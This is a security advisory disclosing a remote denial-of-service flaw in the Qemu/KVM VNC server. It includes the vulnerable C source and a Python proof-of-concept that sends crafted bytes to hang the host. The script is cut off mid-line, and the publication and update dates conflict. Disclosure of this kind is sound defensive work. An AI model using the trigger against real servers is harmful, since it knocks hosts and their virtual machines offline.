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Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
Qemu and KVM VNC server remote DoS
1. *Advisory Information*
Title: Qemu and KVM VNC server remote DoS
Advisory ID: CORE-2008-1210
Advisory URL: http://www.coresecurity.com/content/vnc-remote-dos
Date published: 2009-12-22
Date of last update: 2008-12-19
Vendors contacted: Qemu and KVM teams
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32910
CVE Name: N/A
3. *Vulnerability Description*
The VNC server of Qemu and KVM virtualization solutions are vulnerable
to a remote DoS, when specially crafted packets are received by the host
VNC server causing an infinite loop.
Successful exploitation causes the host server to enter an infinite loop
and cease to function. The vulnerability can be triggered remotely by
external hosts or virtualized guests. No special privileges are required
to perform the Denial of Service.
4. *Vulnerable packages*
. Qemu 0.9.1 and older
. kvm-79 and older
5. *Vendor Information, Solutions and Workarounds*
Qemu and KVM teams will release patches that fix this vulnerability.
6. *Credits*
This vulnerability was discovered and researched by Alfredo Ortega from
Core Security Technologies.
7. *Technical Description / Proof of Concept Code*
The function 'protocol_client_msg()' in the file 'vnc.c' ('qemu/vnc.c'
in kvm-66) is in charge of processing incoming VNC low-level messages. A
listing of the vulnerable source follows:
/-----------
vnc.c
1185: static int protocol_client_msg(VncState *vs, uint8_t *data, size_t
len)
1186: {
1187: int i;
1188: uint16_t limit;
1189:
1190: switch (data[0]) {
...
1201: case 2:
1202: if (len == 1)
1203: return 4;
1204:
1205: if (len == 4)
1206: return 4 + (read_u16(data, 2) * 4);
- -----------/
When the VNC server receives a message consisting of '\x02\x00\x00\x00'
the 'read_u16()' function will return zero, and an infinite loop will be
triggered, because this function will be called with the len parameter
always equal to 4.
7.1. *Proof of Concept*
The following python script implements a basic VNC client that triggers
the vulnerability on the VNC server.
*NOTE:* Some VNC servers like KVM, don't bind to 0.0.0.0 by default, but
the server can still be reached from a guest VM when no VNC client is
attached.
/-----------
Example:
Launch vulnerable qemu:
~$qemu ./test.img - -vnc 0.0.0.0:0
Launch attack:
~$python qemu-kvm-DoS.py localhost 5900
- -----------/
/-----------
##
## vnc remote DoS
##
import socket
import time
import struct
import sys
if len(sys.argv)<3:
print "Usage: %s host port" % sys.argv[0]
exit(0)
host = sys.argv[1] # "127.0.0.1" # debian 4
port = int(sys.argv[2]) # 5900
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
# rec-send versions
srvversion = s.recv(100)
cliversion=srvversion
s.send(cliversion)
print "Server version: %s" % srvversion
#Security types
sec=s.recv(100)
print "Number of security types: %d" % ord(sec[0])
s.send(sec[1])
# Authentication result
auth=s.recv(100)
if auth=="\x00\x00\x00\x00":
print "Auth ok."
# Share desktop flag: no
s.send("\x00")
# Server framebuffer parameters:
framebuf=s.recv(100)
# Trigger the bug
s.send("\x02\x00\x00\x00\x00\xff"+struct.pack("